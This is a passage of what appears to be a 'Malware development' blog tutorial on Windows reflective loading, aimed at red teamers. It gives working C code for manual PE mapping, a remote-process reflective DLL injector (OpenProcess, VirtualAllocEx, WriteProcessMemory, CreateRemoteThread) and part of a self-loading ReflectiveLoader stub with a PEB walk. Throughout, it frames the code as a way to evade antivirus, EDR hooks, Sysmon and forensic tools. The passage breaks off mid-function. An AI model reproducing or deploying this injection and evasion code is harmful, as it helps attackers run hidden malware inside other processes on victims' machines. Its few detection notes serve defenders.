ᛉ Yggdrasil

Malware development

Reflective Loading Internals

15 Oct 2026 · 10,877 words · 49 min

Contents

Legend: [RDI] = Reflective DLL Injection | [HOLLOW] = Process/DLL Hollowing | [MAP] = Manual PE Mapping | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [EVASION] = Bypass technique | [TOOL] = Tool reference | [INTERN] = Windows Internals concept


1. Why Reflective Loading

What it means: Standard Windows loading leaves artifacts everywhere — DLL paths on disk, module entries in the Process Environment Block (PEB), handles in kernel object tables, Sysmon Event ID 7 (image load) logs. Reflective loading is the art of loading code into memory without going through the Windows loader, leaving none of those breadcrumbs.

The core problem with standard LoadLibrary:

Standard LoadLibrary("evil.dll"):
    ├─ Opens evil.dll from disk            → AV scans the file
    ├─ Creates a file-backed section       → Kernel records file handle
    ├─ Maps sections into process memory   → Standard page permissions
    ├─ Adds to PEB.Ldr module list         → Tool: tasklist /m, Process Hacker
    ├─ Fires LdrDllNotification callback   → EDR hook intercepts it
    ├─ Generates ETW event (image load)    → Sysmon EventID 7 fires
    └─ Calls DllMain                       → EDR can monitor DllMain calls

Why reflective loading changes the game:

Reflective Loading (RDI / Manual Map):
    ├─ DLL bytes already in memory         → No disk read, no file handle
    ├─ No LoadLibrary called               → No LdrDllNotification
    ├─ Not added to PEB module list        → Invisible to tasklist /m
    ├─ No Sysmon EventID 7                 → ETW blind
    ├─ Memory region: not file-backed      → Looks like heap/stack memory
    └─ DllMain called manually by loader   → No standard callback chain

Result: The DLL executes but is INVISIBLE to most standard forensic tools.

Where this matters in red teaming:

Scenario Standard Load Reflective Load
AV scans module list DLL detected Not in module list
Sysmon hunting EventID 7 fires No event generated
tasklist /m enumeration DLL appears Invisible
Volatility dlllist DLL appears Not listed
PEB module walk DLL found Not present
Memory forensics (malfind) May be found Private RWX memory found (still detectable)
C2 frameworks Disk artifact In-memory only

The reflective loading family:

Reflective Loading Techniques:
├─ Manual PE Mapping            → Load PE into self without LoadLibrary
├─ Reflective DLL Injection     → DLL self-loads using embedded loader stub
├─ sRDI                         → DLL converted to pure shellcode, then loaded
├─ Process Hollowing            → Replace legitimate process image with payload
├─ DLL Hollowing                → Overwrite .text section of legitimate DLL
├─ Phantom DLL Hollowing        → DLL hollowing via NTFS transactions (no disk write)
└─ Process Doppelgänging        → PE section created from transacted (phantom) file

[OPSEC] The fundamental OPSEC principle: Anything on disk is scanned. Anything in the standard loader path is logged. Reflective loading attacks both surfaces.


2. Windows DLL Loading Internals — What We're Replacing

[INTERN] Understanding what the Windows loader does is essential to understanding what reflective loaders must replicate manually.

2.1 The Windows Loader Flow

LoadLibrary("kernel32.dll") call flow:

User Mode:
    LoadLibraryA()                → KERNELBASE.dll wrapper
        → LdrLoadDll()            → ntdll.dll loader entry point
            → LdrpLoadDll()       → Internal loader (finds/loads the DLL)
                → LdrpFindOrMapDll()
                    → NtCreateSection()    → Kernel: create file-backed section
                    → NtMapViewOfSection() → Kernel: map into VA space
                → LdrpProcessImportTable() → Resolve all imports (IAT fix)
                → LdrpDoPostSnapWork()     → TLS callbacks, static imports
                → LdrpInsertDataTableEntry() → Add to PEB.Ldr lists
                → DllMain() called        → Entry point executed

Kernel Mode (ntoskrnl):
    MmCreateSection()    → Section object created
    MmMapViewOfSection() → Pages mapped
    PFN database updated → Physical page tracking

2.2 PEB Structure (Process Environment Block)

// PEB is where all process metadata lives
// Address: GS:[0x60] on x64, FS:[0x30] on x86
// _PEB structure (simplified):

typedef struct _PEB {
    BYTE            InheritedAddressSpace;
    BYTE            ReadImageFileExecOptions;
    BYTE            BeingDebugged;          // AntiDebug: IsDebuggerPresent()
    BYTE            BitField;
    PVOID           Mutant;
    PVOID           ImageBaseAddress;       // Base of main EXE
    PPEB_LDR_DATA   Ldr;                   // ← Module list lives here
    // ...
    PVOID           ProcessParameters;
    // ...
} PEB, *PPEB;

// PEB_LDR_DATA: The module list
typedef struct _PEB_LDR_DATA {
    ULONG       Length;
    BOOL        Initialized;
    PVOID       SsHandle;
    LIST_ENTRY  InLoadOrderModuleList;       // ← 3 linked lists, all modules
    LIST_ENTRY  InMemoryOrderModuleList;
    LIST_ENTRY  InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY: Per-module entry
typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY  InLoadOrderLinks;
    LIST_ENTRY  InMemoryOrderLinks;
    LIST_ENTRY  InInitializationOrderLinks;
    PVOID       DllBase;                    // Module base address
    PVOID       EntryPoint;                 // DllMain address
    ULONG       SizeOfImage;               // Size in bytes
    UNICODE_STRING FullDllName;             // Full path on disk
    UNICODE_STRING BaseDllName;             // Short name (kernel32.dll)
    // ...
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

What a reflective loader must do instead:

Windows Loader Action            Reflective Loader Alternative
─────────────────────────────────────────────────────────────
NtCreateSection(file)         → DLL bytes already in memory buffer
NtMapViewOfSection()          → VirtualAlloc() + manual section copy
LdrpProcessImportTable()      → Custom IAT fix-up loop
LdrpInsertDataTableEntry()    → SKIP (or manual PEB link for evasion)
Relocation processing         → Custom relocation fixup loop
DllMain() call                → Manual call to DllMain
TLS callbacks                 → Manual TLS callback invocation (if needed)

[DETECT] Defender/EDR insight: Modern EDRs hook LdrLoadDll and LdrpLoadDll in ntdll.dll. Reflective loaders bypass these hooks entirely since they never call into the standard loader path.


3. PE Format Quick Reference

[INTERN] Every reflective loading technique requires parsing the PE format. This is the map you're reading.

3.1 PE Layout

PE File On Disk:
┌──────────────────────────────────┐  Offset 0x0
│  DOS Header (IMAGE_DOS_HEADER)   │
│  - e_magic: "MZ"                 │
│  - e_lfanew: offset to PE header │
├──────────────────────────────────┤  e_lfanew offset (typically 0x80)
│  NT Headers (IMAGE_NT_HEADERS)   │
│  - Signature: "PE\0\0"           │
│  - FileHeader                    │
│    - Machine: 0x8664 (x64)       │
│    - NumberOfSections            │
│  - OptionalHeader                │
│    - ImageBase   (preferred VA)  │
│    - SizeOfImage (total size)    │
│    - SizeOfHeaders               │
│    - AddressOfEntryPoint (RVA)   │
│    - DataDirectory[16]:          │
│      [0] Export Table            │
│      [1] Import Table (IAT)      │
│      [5] Base Relocation Table   │
├──────────────────────────────────┤
│  Section Headers (array)         │
│  - .text  (code, RX)             │
│  - .data  (init data, RW)        │
│  - .rdata (read-only data, R)    │
│  - .rsrc  (resources)            │
│  - .reloc (relocations)          │
├──────────────────────────────────┤
│  .text section                   │  code
├──────────────────────────────────┤
│  .data section                   │  initialized variables
├──────────────────────────────────┤
│  .rdata section                  │  strings, IAT stubs
├──────────────────────────────────┤
│  .reloc section                  │  base relocation table
└──────────────────────────────────┘

Key distinction:
RVA (Relative Virtual Address) = offset from ImageBase when mapped in memory
FOA (File Offset Address)       = offset from start of file on disk
VA  (Virtual Address)           = ImageBase + RVA (the actual in-memory address)

3.2 Key PE Navigation (C)

// Navigate PE headers from a base address in memory
#include <windows.h>

void parse_pe(LPVOID base) {
    // 1. MZ header
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    // dos->e_magic == 0x5A4D ("MZ")

    // 2. NT headers (PE\0\0 signature)
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)base + dos->e_lfanew);
    // nt->Signature == 0x00004550 ("PE\0\0")

    // 3. Optional header (has the good stuff)
    PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader;
    ULONG_PTR imageBase   = opt->ImageBase;        // Preferred load address
    DWORD     sizeOfImage = opt->SizeOfImage;       // Total mapped size
    DWORD     entryPoint  = opt->AddressOfEntryPoint; // RVA to DllMain/main

    // 4. Section headers (array immediately after NT headers)
    PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
    WORD numSections = nt->FileHeader.NumberOfSections;

    for (int i = 0; i < numSections; i++) {
        // sections[i].Name          → ".text\0\0\0" (8 bytes)
        // sections[i].VirtualAddress → RVA in memory
        // sections[i].PointerToRawData → FOA on disk
        // sections[i].SizeOfRawData  → size on disk
        // sections[i].Misc.VirtualSize → size in memory (may differ)
        // sections[i].Characteristics → RWX flags
    }

    // 5. Data directories: import/export/reloc tables
    PIMAGE_DATA_DIRECTORY importDir =
        &opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    PIMAGE_DATA_DIRECTORY relocDir  =
        &opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    PIMAGE_DATA_DIRECTORY exportDir =
        &opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    // importDir->VirtualAddress = RVA of IMAGE_IMPORT_DESCRIPTOR array
    // importDir->Size           = total size of import table
}

4. Manual PE Mapping (Memory-Only PE Loading)

What it means: Load a PE file (EXE or DLL) entirely from a memory buffer — no disk read, no LoadLibrary call. You manually replicate every step the Windows loader does. This is the foundation for every other reflective technique.

4.1 The 6 Steps of Manual Mapping

Manual PE Mapping Steps:
  1. Allocate memory at preferred ImageBase (or anywhere if ASLR)
  2. Copy PE headers to allocated memory
  3. Copy each section to its correct RVA offset
  4. Fix base relocations (if we got a different base than preferred)
  5. Resolve imports — fix up the IAT
  6. Call the entry point (DllMain / main)

4.2 Step 1–3: Allocate + Copy Headers + Copy Sections

// manual_map.c — Steps 1-3: Allocation and section mapping
#include <windows.h>
#include <stdio.h>

// pe_buf: raw PE bytes in memory (read from file, network, resource, etc.)
// pe_size: size of pe_buf
// Returns: base address of mapped PE in memory
LPVOID manual_map(BYTE* pe_buf, SIZE_T pe_size) {
    // ──────────────────────────────────────────────────
    // Step 0: Parse headers from the raw buffer
    // ──────────────────────────────────────────────────
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pe_buf;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE) {  // "MZ"
        printf("[-] Not a PE file\n");
        return NULL;
    }

    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pe_buf + dos->e_lfanew);
    if (nt->Signature != IMAGE_NT_SIGNATURE) {  // "PE\0\0"
        printf("[-] Invalid NT signature\n");
        return NULL;
    }

    PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader;
    DWORD sizeOfImage = opt->SizeOfImage;   // How much memory we need

    // ──────────────────────────────────────────────────
    // Step 1: Allocate memory for the mapped image
    // ──────────────────────────────────────────────────
    // Try the preferred base first (may fail due to ASLR / existing mappings)
    LPVOID imageBase = VirtualAlloc(
        (LPVOID)opt->ImageBase,     // Preferred base from PE header
        sizeOfImage,                // Total size of mapped image
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE      // RWX — we'll fix per-section later
    );

    if (!imageBase) {
        // ASLR blocked preferred base — let OS pick an address
        imageBase = VirtualAlloc(
            NULL,                   // Let OS choose
            sizeOfImage,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE
        );
    }

    if (!imageBase) {
        printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
        return NULL;
    }

    printf("[+] Allocated %d bytes at 0x%p\n", sizeOfImage, imageBase);

    // ──────────────────────────────────────────────────
    // Step 2: Copy PE headers to the allocated memory
    // ──────────────────────────────────────────────────
    memcpy(imageBase, pe_buf, opt->SizeOfHeaders);
    printf("[+] Copied PE headers (%d bytes)\n", opt->SizeOfHeaders);

    // ──────────────────────────────────────────────────
    // Step 3: Copy each section to its correct RVA offset
    // ──────────────────────────────────────────────────
    PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
    WORD numSections = nt->FileHeader.NumberOfSections;

    for (int i = 0; i < numSections; i++) {
        PIMAGE_SECTION_HEADER sec = &sections[i];

        if (sec->SizeOfRawData == 0) {
            // BSS-like section: no data on disk, zero-initialized
            continue;
        }

        // Destination: imageBase + RVA (where section lives in memory)
        BYTE* dest = (BYTE*)imageBase + sec->VirtualAddress;
        // Source: pe_buf + file offset (where section lives on disk)
        BYTE* src  = pe_buf + sec->PointerToRawData;

        memcpy(dest, src, sec->SizeOfRawData);

        printf("[+] Mapped section [%.8s] → 0x%p (RVA: 0x%08X, size: %d)\n",
               sec->Name, dest, sec->VirtualAddress, sec->SizeOfRawData);
    }

    return imageBase;
}

4.3 Step 4: Base Relocation Fixup

// Fix relocations: adjust all hardcoded addresses for the new base
// Called when allocated base ≠ PE's preferred ImageBase

void fix_relocations(LPVOID imageBase, PIMAGE_NT_HEADERS nt) {
    PIMAGE_OPTIONAL_HEADER opt = &nt->OptionalHeader;

    // Delta = difference between where we loaded vs. where PE expected to be
    LONGLONG delta = (LONGLONG)imageBase - (LONGLONG)opt->ImageBase;

    if (delta == 0) {
        printf("[*] No relocation needed — loaded at preferred base\n");
        return;  // Lucky: got the preferred base
    }

    printf("[*] Relocation delta: 0x%llx\n", delta);

    // Get the base relocation data directory
    PIMAGE_DATA_DIRECTORY relocDir =
        &opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

    if (relocDir->Size == 0) {
        printf("[-] No relocation table — PE cannot be relocated!\n");
        // This PE has no .reloc section → hardcoded addresses will be wrong
        return;
    }

    // Walk the relocation blocks
    // Structure: [DWORD VirtualAddress][DWORD SizeOfBlock][WORD entries...]
    PIMAGE_BASE_RELOCATION relocBlock =
        (PIMAGE_BASE_RELOCATION)((BYTE*)imageBase + relocDir->VirtualAddress);

    while (relocBlock->VirtualAddress != 0) {
        // Each block covers a 4KB (0x1000) page
        BYTE* pageBase = (BYTE*)imageBase + relocBlock->VirtualAddress;

        // Number of relocation entries in this block
        // Each entry is 2 bytes (WORD): high 4 bits = type, low 12 bits = offset
        DWORD numEntries = (relocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION))
                           / sizeof(WORD);

        WORD* entries = (WORD*)((BYTE*)relocBlock + sizeof(IMAGE_BASE_RELOCATION));

        for (DWORD i = 0; i < numEntries; i++) {
            WORD  entry  = entries[i];
            BYTE  type   = (entry >> 12) & 0xF;   // High 4 bits
            WORD  offset = entry & 0x0FFF;         // Low 12 bits

            if (type == IMAGE_REL_BASED_ABSOLUTE) {
                // Type 0 = padding, skip
                continue;
            }

            if (type == IMAGE_REL_BASED_DIR64) {
                // x64: patch 8-byte absolute address
                ULONGLONG* patch = (ULONGLONG*)(pageBase + offset);
                *patch += delta;
            } else if (type == IMAGE_REL_BASED_HIGHLOW) {
                // x86: patch 4-byte absolute address
                DWORD* patch = (DWORD*)(pageBase + offset);
                *patch += (DWORD)delta;
            }
        }

        // Move to next block
        relocBlock = (PIMAGE_BASE_RELOCATION)((BYTE*)relocBlock + relocBlock->SizeOfBlock);
    }

    printf("[+] Relocations fixed (delta: 0x%llx)\n", delta);
}

4.4 Step 5: Import Resolution (IAT Fix)

// Resolve imports: find each imported DLL + function, write addresses to IAT
// This is what the Windows loader's LdrpProcessImportTable() does

void fix_imports(LPVOID imageBase, PIMAGE_NT_HEADERS nt) {
    PIMAGE_DATA_DIRECTORY importDir =
        &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

    if (importDir->Size == 0) {
        printf("[*] No imports to resolve\n");
        return;
    }

    // IMAGE_IMPORT_DESCRIPTOR array — one per imported DLL, terminated by null
    PIMAGE_IMPORT_DESCRIPTOR importDesc =
        (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)imageBase + importDir->VirtualAddress);

    while (importDesc->Name != 0) {
        // Get the DLL name (e.g., "kernel32.dll")
        char* dllName = (char*)imageBase + importDesc->Name;

        // Load (or find already-loaded) the dependency DLL
        HMODULE hDep = LoadLibraryA(dllName);
        if (!hDep) {
            printf("[-] Failed to load dependency: %s\n", dllName);
            importDesc++;
            continue;
        }

        printf("[+] Resolving imports from: %s\n", dllName);

        // INT (Import Name Table) = OriginalFirstThunk → function names/ordinals
        // IAT (Import Address Table) = FirstThunk → where to write resolved addresses

        PIMAGE_THUNK_DATA nameThunk =
            (PIMAGE_THUNK_DATA)((BYTE*)imageBase + importDesc->OriginalFirstThunk);
        PIMAGE_THUNK_DATA addrThunk =
            (PIMAGE_THUNK_DATA)((BYTE*)imageBase + importDesc->FirstThunk);

        while (nameThunk->u1.AddressOfData != 0) {
            FARPROC funcAddr = NULL;

            if (IMAGE_SNAP_BY_ORDINAL(nameThunk->u1.Ordinal)) {
                // Import by ordinal (just a number, no name)
                WORD ordinal = IMAGE_ORDINAL(nameThunk->u1.Ordinal);
                funcAddr = GetProcAddress(hDep, MAKEINTRESOURCEA(ordinal));
                printf("  [>] Resolved ordinal #%d → 0x%p\n", ordinal, funcAddr);
            } else {
                // Import by name (most common)
                PIMAGE_IMPORT_BY_NAME nameEntry =
                    (PIMAGE_IMPORT_BY_NAME)((BYTE*)imageBase + nameThunk->u1.AddressOfData);
                funcAddr = GetProcAddress(hDep, nameEntry->Name);
                printf("  [>] Resolved %s → 0x%p\n", nameEntry->Name, funcAddr);
            }

            if (!funcAddr) {
                printf("  [-] Failed to resolve function!\n");
            }

            // Write resolved address into the IAT
            addrThunk->u1.Function = (ULONG_PTR)funcAddr;

            nameThunk++;
            addrThunk++;
        }

        importDesc++;
    }
}

4.5 Step 6: Execute Entry Point

// Execute the manually mapped PE
void execute_pe(LPVOID imageBase, PIMAGE_NT_HEADERS nt, BOOL isDll) {
    DWORD entryPointRVA = nt->OptionalHeader.AddressOfEntryPoint;
    LPVOID entryPoint   = (BYTE*)imageBase + entryPointRVA;

    printf("[+] Entry point: 0x%p (RVA: 0x%08X)\n", entryPoint, entryPointRVA);

    if (isDll) {
        // DLL: call DllMain(hModule, DLL_PROCESS_ATTACH, 0)
        typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
        DllMain_t dllMain = (DllMain_t)entryPoint;
        BOOL result = dllMain((HINSTANCE)imageBase, DLL_PROCESS_ATTACH, NULL);
        printf("[+] DllMain returned: %s\n", result ? "TRUE" : "FALSE");
    } else {
        // EXE: call the entry directly as a thread
        HANDLE hThread = CreateThread(NULL, 0,
                                       (LPTHREAD_START_ROUTINE)entryPoint,
                                       NULL, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
    }
}

// ─── Full Manual Mapping Example ────────────────────────────
int main() {
    // Read PE from file (or resource, or network, or decrypt from buffer)
    HANDLE hFile = CreateFileA("payload.dll", GENERIC_READ, 0, NULL,
                               OPEN_EXISTING, 0, NULL);
    DWORD fileSize = GetFileSize(hFile, NULL);
    BYTE* peBuf = (BYTE*)malloc(fileSize);
    DWORD bytesRead;
    ReadFile(hFile, peBuf, fileSize, &bytesRead, NULL);
    CloseHandle(hFile);

    // Parse NT headers from buffer
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)peBuf;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(peBuf + dos->e_lfanew);

    // Execute all steps
    LPVOID imageBase = manual_map(peBuf, fileSize);
    if (!imageBase) return 1;

    // Re-parse NT headers from mapped image (ImageBase may have changed)
    PIMAGE_NT_HEADERS ntMapped = (PIMAGE_NT_HEADERS)(
        (BYTE*)imageBase + ((PIMAGE_DOS_HEADER)imageBase)->e_lfanew
    );

    fix_relocations(imageBase, ntMapped);
    fix_imports(imageBase, ntMapped);
    execute_pe(imageBase, ntMapped, TRUE);  // TRUE = it's a DLL

    free(peBuf);
    return 0;
}

[OPSEC] Memory permissions: PAGE_EXECUTE_READWRITE (RWX) on the whole image is a red flag. Proper implementations set per-section permissions: .text → RX, .data → RW, .rdata → R. Do this with VirtualProtect() per section after mapping.


5. Reflective DLL Injection (RDI) — Stephen Fewer's Technique

What it means: Instead of an external injector manually mapping the DLL, the DLL carries its own loader as an exported function called ReflectiveLoader. The injector merely: 1) writes the raw DLL bytes into the target process, 2) finds the ReflectiveLoader export, and 3) creates a thread at that address. The DLL then loads itself — no external knowledge of PE format required by the injector.

5.1 How It Differs From Manual Mapping

Manual Mapping (injector does everything):
    Injector:
    ├─ Parse PE headers
    ├─ Allocate remote memory
    ├─ Map sections (WriteProcessMemory)
    ├─ Fix relocations
    ├─ Fix IAT
    └─ Create thread at entry point

Reflective DLL Injection (DLL does it itself):
    Injector:
    ├─ Write raw DLL bytes to remote process (one WriteProcessMemory call)
    ├─ Find ReflectiveLoader offset in raw bytes
    └─ CreateRemoteThread at (remote_base + ReflectiveLoader_offset)

    DLL (inside target process):
    └─ ReflectiveLoader() runs:
        ├─ Find own base address (using calling convention trick)
        ├─ Parse own PE headers
        ├─ Allocate new memory block
        ├─ Map own sections to new block
        ├─ Fix own relocations
        ├─ Resolve own imports (via PEB walk — see §11)
        └─ Call own DllMain

5.2 The Injector Side (C)

// rdi_injector.c — External injector for reflective DLL
// Writes raw DLL bytes to remote process, finds ReflectiveLoader, runs it

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

// Find the file offset of ReflectiveLoader export in the raw DLL bytes
DWORD find_reflective_loader_offset(BYTE* dll_buf) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dll_buf;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(dll_buf + dos->e_lfanew);

    // Get export directory
    DWORD exportRVA = nt->OptionalHeader
                         .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                         .VirtualAddress;
    if (!exportRVA) return 0;

    PIMAGE_EXPORT_DIRECTORY exports =
        (PIMAGE_EXPORT_DIRECTORY)(dll_buf + exportRVA);

    // Walk export names — look for "ReflectiveLoader"
    DWORD* nameRVAs     = (DWORD*)(dll_buf + exports->AddressOfNames);
    WORD*  ordinals     = (WORD*) (dll_buf + exports->AddressOfNameOrdinals);
    DWORD* funcRVAs     = (DWORD*)(dll_buf + exports->AddressOfFunctions);

    for (DWORD i = 0; i < exports->NumberOfNames; i++) {
        char* name = (char*)(dll_buf + nameRVAs[i]);
        if (strcmp(name, "ReflectiveLoader") == 0) {
            WORD ordinal  = ordinals[i];
            DWORD funcRVA = funcRVAs[ordinal];

            // Convert RVA to file offset (walk section headers)
            PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
            for (WORD s = 0; s < nt->FileHeader.NumberOfSections; s++) {
                DWORD secStart = sections[s].VirtualAddress;
                DWORD secEnd   = secStart + sections[s].SizeOfRawData;
                if (funcRVA >= secStart && funcRVA < secEnd) {
                    return sections[s].PointerToRawData
                           + (funcRVA - secStart);
                }
            }
        }
    }
    return 0;
}

BOOL inject_reflective_dll(DWORD pid, BYTE* dll_buf, SIZE_T dll_size) {
    // Open target process
    HANDLE hProcess = OpenProcess(
        PROCESS_ALL_ACCESS, FALSE, pid
    );
    if (!hProcess) return FALSE;

    // Allocate memory in remote process
    LPVOID remoteBase = VirtualAllocEx(
        hProcess, NULL, dll_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // Write raw DLL bytes to remote process
    DWORD written;
    WriteProcessMemory(hProcess, remoteBase, dll_buf, dll_size, &written);
    printf("[+] Written %d bytes to remote process at 0x%p\n",
           written, remoteBase);

    // Find ReflectiveLoader offset in the raw DLL bytes
    DWORD loaderOffset = find_reflective_loader_offset(dll_buf);
    if (!loaderOffset) {
        printf("[-] ReflectiveLoader export not found!\n");
        return FALSE;
    }

    // The loader function address in the REMOTE process
    LPVOID remoteLoader = (BYTE*)remoteBase + loaderOffset;
    printf("[+] ReflectiveLoader at remote 0x%p\n", remoteLoader);

    // Create thread in remote process starting at ReflectiveLoader
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)remoteLoader,
        NULL, 0, NULL
    );

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    printf("[+] Reflective injection complete\n");
    return TRUE;
}

int main(int argc, char* argv[]) {
    DWORD pid = atoi(argv[1]);      // Target PID

    // Load DLL from file
    HANDLE hFile = CreateFileA("reflective.dll", GENERIC_READ, 0,
                               NULL, OPEN_EXISTING, 0, NULL);
    DWORD dllSize = GetFileSize(hFile, NULL);
    BYTE* dllBuf  = (BYTE*)malloc(dllSize);
    DWORD read;
    ReadFile(hFile, dllBuf, dllSize, &read, NULL);
    CloseHandle(hFile);

    inject_reflective_dll(pid, dllBuf, dllSize);
    free(dllBuf);
    return 0;
}

5.3 The ReflectiveLoader Stub (C — Self-Loading)

// reflective_loader.c — The loader embedded in the DLL itself
// Exported as "ReflectiveLoader"
// This function: finds its own base address, maps itself, resolves imports, calls DllMain

#include <windows.h>
#include <stdint.h>

// ─── Helper: PEB walk to find kernel32.dll base (no imports!) ───
// ReflectiveLoader cannot use GetProcAddress/LoadLibrary — it has no IAT yet!
// Must find these functions manually via PEB → module list

typedef struct _UNICODE_STR {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STR;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY  InLoadOrderLinks;
    LIST_ENTRY  InMemoryOrderLinks;
    LIST_ENTRY  InInitializationOrderLinks;
    PVOID       DllBase;
    PVOID       EntryPoint;
    ULONG       SizeOfImage;
    UNICODE_STR FullDllName;
    UNICODE_STR BaseDllName;
} MY_LDR_ENTRY, *PMY_LDR_ENTRY;

// Get function address from a module's export table (no GetProcAddress dependency)
FARPROC get_export(HMODULE hModule, const char* funcName) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hModule;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dos->e_lfanew);
    DWORD exportRVA = nt->OptionalHeader
                         .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
                         .VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp =
        (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + exportRVA);

    DWORD* names    = (DWORD*)((BYTE*)hModule + exp->AddressOfNames);
    WORD*  ordinals = (WORD*) ((BYTE*)hModule + exp->AddressOfNameOrdinals);
    DWORD* funcs    = (DWORD*)((BYTE*)hModule + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        if (strcmp((char*)((BYTE*)hModule + names[i]), funcName) == 0) {
            return (FARPROC)((BYTE*)hModule + funcs[ordinals[i]]);
        }
    }
    return NULL;
}

// ─── The actual ReflectiveLoader function ───────────────────────
__declspec(dllexport) ULONG_PTR WINAPI ReflectiveLoader(void) {
    // Step 1: Find our own current base address
    // Trick: use RIP-relative call to find current instruction address,
    // then walk backwards looking for "MZ" header

#ifdef _WIN64
    ULONG_PTR uiLibraryAddress;
    __asm__ volatile (
        "lea %0, [rip]" : "=r"(uiLibraryAddress)
    );
#else
    ULONG_PTR uiLibraryAddress;
    __asm__ volatile (
        "call _next\n"
        "_next:\n"
        "pop %0\n"
        : "=r"(uiLibraryAddress)
    );
#endif

    // Walk backwards from current RIP until we find the MZ header
    while (*(WORD*)uiLibraryAddress != 0x5A4D) {  // "MZ"
        uiLibraryAddress--;
    }
    // uiLibraryAddress now = our raw DLL base (in the injected buffer)

    // Step 2: Parse own PE headers from the raw buffer
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)uiLibraryAddress;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(uiLibraryAddress + dos->e_lfanew);
    DWORD sizeOfImage = nt->OptionalHeader.SizeOfImage;

    // Step 3: Find kernel32.dll via PEB walk (no imports!)
    // PEB address: x64 = GS:[0x60], x86 = FS:[0x30]
#ifdef _WIN64
    PPEB peb = (PPEB)__readgsqword(0x60);
#else
    PPEB peb = (PPEB)__readfsdword(0x30);
#endif

    // Walk InMemoryOrderModuleList to find kernel32.dll
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    PLIST_ENTRY curr = head->Flink;
    HMODULE hKernel32 = NULL;

    while (curr != head) {
        PMY_LDR_ENTRY entry = CONTAINING_RECORD(
            curr, MY_LDR_ENTRY, InMemoryOrderLinks
        );
        if (entry->BaseDllName.Buffer) {
            // Check if BaseDllName contains "kernel32.dll" (case-insensitive)
            WCHAR* name = entry->BaseDllName.Buffer;
            // Compare first 8 chars: "KERNEL32"
            if ((name[0] | 0x20) == 'k' && (name[1] | 0x20) == 'e' &&
                (name[2] | 0x20) == 'r' && (name[3] | 0x20) == 'n') {
                hKernel32 = (HMODULE)entry->DllBase;
                break;
            }
        }
        curr = curr->Flink;
    }

    // Step 4: Resolve needed APIs from kernel32 export table
    typedef LPVOID(WINAPI* pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
    typedef BOOL  (WINAPI* pVirtualFree)(LPVOID, SIZE_T, DWORD);
    typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR);
    typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);

    pVirtualAlloc   fnVirtualAlloc   = (pVirtualAlloc)  get_export(hKernel32, "VirtualAlloc");
    pLoadLibraryA   fnLoadLibraryA   = (pLoadLibraryA)  get_export(hKernel32, "LoadLibraryA");
    pGetProcAddress fnGetProcAddress = (pGetProcAddress) get_export(hKernel32, "GetProcAddress");

    // Step 5: Allocate new memory for the proper mapped image
    LPVOID newBase = fnVirtualAlloc(
        (LPVOID)nt->OptionalHeader.ImageBase,
        sizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!newBase) {
        newBase = fnVirtualAlloc(NULL, sizeOfImage,
                                  MEM_COMMIT | MEM_RESERVE,
                                  PAGE_EXECUTE_READWRITE);
    }

    // Step 6: Copy headers + sections to new location
    memcpy(newBase, (void*)uiLibraryAddress, nt->OptionalHeader.SizeOfHeaders);

    PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(nt);
